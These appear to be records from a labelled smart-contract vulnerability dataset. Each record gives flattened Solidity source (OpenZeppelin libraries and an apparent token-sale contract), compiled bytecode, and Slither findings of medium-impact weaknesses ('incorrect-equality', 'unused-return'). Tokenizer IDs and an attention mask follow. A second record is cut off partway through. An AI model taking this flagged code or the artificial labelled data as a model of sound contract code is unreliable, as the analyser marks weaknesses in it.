{RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638129fc1c116100c3578063a217fddf1161007c578063a217fddf14610309578063a93b65d314610311578063ca15c8731461031a578063d547741f1461032d578063d6cd82bc14610340578063e58378bb1461035357600080fd5b80638129fc1c146102ac578063845c9306146102b457806388a17bde146102c75780639010d07c146102d057806391d14854146102e3578063a1902b2d146102f657600080fd5b80632f2ff15d116101155780632f2ff15d1461024157806336568abe1461025657806348c54b9d146102695780635958611e146102715780637065cb481461028957806378e979251461029c57600080fd5b806301ffc9a71461015d5780631bfc751e14610185578063248a9ca3146101b157806326224c64146101e257806328ebb81c14610203578063299153ba1461022e575b600080fd5b61017061016b36600461155a565b610368565b60405190151581526020015b60405180910390f35b60ff5461019c90600160401b900463ffffffff1681565b60405163ffffffff909116815260200161017c565b6101d46101bf366004611584565b60009081526065602052604090206001015490565b60405190815260200161017c565b6101d46101f03660046115b9565b6101006020526000908152604090205481565b60fc54610216906001600160a01b031681565b6040516001600160a01b03909116815260200161017c565b61017061023c3660046115e8565b610393565b61025461024f366004611655565b610456565b005b610254610264366004611655565b610481565b6102546104ff565b60ff5461019c90640100000000900463ffffffff1681565b6102546102973660046115b9565b6106a9565b60ff5461019c9063ffffffff1681565b6102546106f8565b6102546102c2366004611584565b61076b565b6101d460fe5481565b6102166102de366004611681565b610b13565b6101706102f1366004611655565b610b32565b6102546103043660046116a3565b610b5d565b6101d4600081565b6101d460fd5481565b6101d4610328366004611584565b610c12565b61025461033b366004611655565b610c29565b60fb54610216906001600160a01b031681565b6101d460008051602061194d83398151915281565b60006001600160e01b03198216635a05180f60e01b148061038d575061038d82610c4f565b92915050565b60006103ad60008051602061194d83398151915233610b32565b6103d25760405162461bcd60e51b81526004016103c9906116cd565b60405180910390fd5b5060fc80546001600160a01b03199081166001600160a01b039889161790915560fb8054909116959096169490941790945560ff805460fe9590955563ffffffff92831667ffffffffffffffff199095169490941764010000000091831691909102176bffffffff00000000000000001916600160401b9190921602179055600190565b6000828152606560205260409020600101546104728133610c84565b61047c8383610ce8565b505050565b6001600160a01b03811633146104f15760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016103c9565b6104fb8282610d0a565b5050565b600260c95414156105525760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016103c9565b600260c95560ff54600160401b900463ffffffff164210156105b65760405162461bcd60e51b815260206004820152601960248201527f4944443a49444f5f434c41494d5f4e4f545f535441525445440000000000000060448201526064016103c9565b336000908152610100602052604090205461060a5760405162461bcd60e51b815260206004820152601460248201527324a2221d2727aa2fa820a92a24a1a4a820aa27a960611b60448201526064016103c9565b60fd5460fe54336000908152610100602052604081205490929161062d9161170a565b6106379190611729565b336000818152610100602052604081205560fb54919250610662916001600160a01b03169083610d2c565b6040805133815260208101839052428183015290517f9923b4306c6c030f2bdfbf156517d5983b87e15b96176da122cd4f2effa4ba7b9181900360600190a150600160c955565b6106c160008051602061194d83398151915233610b32565b6106dd5760405162461bcd60e51b81526004016103c9906116cd565b6106f560008051602061194d83398151915282610456565b50565b600054610100900460ff1680610711575060005460ff16155b61072d5760405162461bcd60e51b81526004016103c99061174b565b600054610100900460ff1615801561074f576000805461ffff19166101011790555b610757610d8f565b80156106f5576000805461ff001916905550565b600260c95414156107be5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016103c9565b600260c955806108015760405162461bcd60e51b815260206004820152600e60248201526d1251110e9313d5d7d05353d5539560921b60448201526064016103c9565b60ff5463ffffffff1642101561084f5760405162461bcd60e51b81526020600482015260136024820152721251110e925113d7d393d517d4d51054951151606a1b60448201526064016103c9565b60ff54640100000000900463ffffffff1642106108a15760405162461bcd60e51b815260206004820152601060248201526f1251110e925113d7d192539254d2115160821b60448201526064016103c9565b60fc54604051636eb1769f60e11b81523360048201523060248201526001600160a01b03909116908290829063dd62ed3e90604401602060405180830381865afa1580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109179190611799565b10156109595760405162461bcd60e51b81526020600482015260116024820152704944443a4c4f575f414c4c4f57414e434560781b60448201526064016103c9565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156109a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c49190611799565b90506109db6001600160a01b038316333086610e29565b6109e583826117b2565b6040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610a29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4d9190611799565b14610a8e5760405162461bcd60e51b81526020600482015260116024820152701251110e9514905394d1915497d1905253607a1b60448201526064016103c9565b8260fd6000828254610aa091906117b2565b9091555050336000908152610100602052604081208054859290610ac59084906117b2565b90915550506040805133815260208101859052428183015290517fdf263dfdd75a72e5829e34d350ee8711b919e31df66d67aac31f6ed7d7cc82339181900360600190a15050600160c95550565b6000828152609760205260408120610b2b9083610e67565b9392505050565b60009182526065602090815260408084206001600160a01b0393909316845291905290205460ff1690565b610b7560008051602061194d83398151915233610b32565b610b915760405162461bcd60e51b81526004016103c9906116cd565b6040516370a0823160e01b8152306004820152829061047c9083906001600160a01b038416906370a0823190602401602060405180830381865afa158015610bdd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c019190611799565b6001600160a01b0384169190610d2c565b600081815260976020526040812061038d90610e73565b600082815260656020526040902060010154610c458133610c84565b61047c8383610d0a565b60006001600160e01b03198216637965db0b60e01b148061038d57506301ffc9a760e01b6001600160e01b031983161461038d565b610c8e8282610b32565b6104fb57610ca6816001600160a01b03166014610e7d565b610cb1836020610e7d565b604051602001610cc29291906117f6565b60408051601f198184030181529082905262461bcd60e51b82526103c99160040161186b565b610cf28282611019565b600082815260976020526040902061047c908261109f565b610d1482826110b4565b600082815260976020526040902061047c908261111b565b6040516001600160a01b03831660248201526044810182905261047c90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611130565b600054610100900460ff1680610da8575060005460ff16155b610dc45760405162461bcd60e51b81526004016103c99061174b565b600054610100900460ff16158015610de6576000805461ffff19166101011790555b610dee611202565b610df6611202565b610dfe611202565b610e06611202565b610e1160003361126c565b61075760008051602061194d8339815191523361126c565b6040516001600160a01b0380851660248301528316604482015260648101829052610e619085906323b872dd60e01b90608401610d58565b50505050565b6000610b2b8383611276565b600061038d825490565b60606000610e8c83600261170a565b610e979060026117b2565b67ffffffffffffffff811115610eaf57610eaf61189e565b6040519080825280601f01601f191660200182016040528015610ed9576020820181803683370190505b509050600360fc1b81600081518110610ef457610ef46118b4565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110610f2357610f236118b4565b60200101906001600160f81b031916908160001a9053506000610f4784600261170a565b610f529060016117b2565b90505b6001811115610fca576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110610f8657610f866118b4565b1a60f81b828281518110610f9c57610f9c6118b4565b60200101906001600160f81b031916908160001a90535060049490941c93610fc3816118ca565b9050610f55565b508315610b2b5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016103c9565b6110238282610b32565b6104fb5760008281526065602090815260408083206001600160a01b03851684529091529020805460ff1916600117905561105b3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000610b2b836001600160a01b0384166112a0565b6110be8282610b32565b156104fb5760008281526065602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000610b2b836001600160a01b0384166112ef565b6000611185826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166113e29092919063ffffffff16565b80519091501561047c57808060200190518101906111a391906118e1565b61047c5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016103c9565b600054610100900460ff168061121b575060005460ff16155b6112375760405162461bcd60e51b81526004016103c99061174b565b600054610100900460ff16158015610757576000805461ffff191661010117905580156106f5576000805461ff001916905550565b6104fb8282610ce8565b600082600001828154811061128d5761128d6118b4565b9060005260206000200154905092915050565b60008181526001830160205260408120546112e75750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561038d565b50600061038d565b600081815260018301602052604081205480156113d8576000611313600183611903565b855490915060009061132790600190611903565b905081811461138c576000866000018281548110611347576113476118b4565b906000526020600020015490508087600001848154811061136a5761136a6118b4565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061139d5761139d61191a565b60019003818190600052602060002001600090559055856001016000868152602001908152602001600020600090556001935050505061038d565b600091505061038d565b60606113f184846000856113f9565b949350505050565b60608247101561145a5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016103c9565b843b6114a85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016103c9565b600080866001600160a01b031685876040516114c49190611930565b60006040518083038185875af1925050503d8060008114611501576040519150601f19603f3d011682016040523d82523d6000602084013e611506565b606091505b5091509150611516828286611521565b979650505050505050565b60608315611530575081610b2b565b8251156115405782518084602001fd5b8160405162461bcd60e51b81526004016103c9919061186b565b60006020828403121561156c57600080fd5b81356001600160e01b031981168114610b2b57600080fd5b60006020828403121561159657600080fd5b5035919050565b80356001600160a01b03811681146115b457600080fd5b919050565b6000602082840312156115cb57600080fd5b610b2b8261159d565b803563ffffffff811681146115b457600080fd5b60008060008060008060c0878903121561160157600080fd5b61160a8761159d565b95506116186020880161159d565b9450611626604088016115d4565b9350611634606088016115d4565b92506080870135915061164960a088016115d4565b90509295509295509295565b6000806040838503121561166857600080fd5b823591506116786020840161159d565b90509250929050565b6000806040838503121561169457600080fd5b50508035926020909101359150565b600080604083850312156116b657600080fd5b6116bf8361159d565b91506116786020840161159d565b6020808252600d908201526c24a2221d2727aa2fa7aba722a960991b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611724576117246116f4565b500290565b60008261174657634e487b7160e01b600052601260045260246000fd5b500490565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156117ab57600080fd5b5051919050565b600082198211156117c5576117c56116f4565b500190565b60005b838110156117e55781810151838201526020016117cd565b83811115610e615750506000910152565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081526000835161182e8160178501602088016117ca565b7001034b99036b4b9b9b4b733903937b6329607d1b601791840191820152835161185f8160288401602088016117ca565b01602801949350505050565b602081526000825180602084015261188a8160408501602087016117ca565b601f01601f19169190910160400192915050565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6000816118d9576118d96116f4565b506000190190565b6000602082840312156118f357600080fd5b81518015158114610b2b57600080fd5b600082821015611915576119156116f4565b500390565b634e487b7160e01b600052603160045260246000fd5b600082516119428184602087016117ca565b919091019291505056feb19546dff01e856fb3f010c267a7b1c60363cf8a4664e21cc89c26224620214ea26469706673582212209f60c26af524767fc952bbcf8383c688b664cc7c9e0c76f7a0f5cbef11faa8b964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 28311, 16086, 2546, 2475, 2546, 14141, 24434, 2629, 2546, 15136, 16932, 12740, 2683, 16068, 2497, 21472, 2546, 23499, 2094, 2581, 21057, 23777, 2549, 2063, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 3229, 8663, 13181, 7770, 17897, 16670, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3036, 1013, 2128, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,398
0x96b602f3F7733A1476f71C72F89299F6c1A52509
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have 